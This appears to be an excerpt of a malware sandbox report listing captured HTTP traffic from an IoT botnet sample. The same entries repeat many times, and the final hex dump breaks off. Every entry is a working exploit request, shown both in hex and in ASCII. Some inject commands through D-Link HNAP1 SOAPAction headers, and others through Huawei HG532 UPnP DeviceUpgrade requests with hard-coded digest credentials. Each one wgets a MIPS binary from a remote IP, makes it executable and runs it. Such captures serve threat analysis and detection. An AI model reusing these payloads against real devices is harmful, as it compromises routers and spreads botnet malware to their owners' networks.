Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://45.138.74.83/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 33 38 2e 37 34 2e 38 33 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 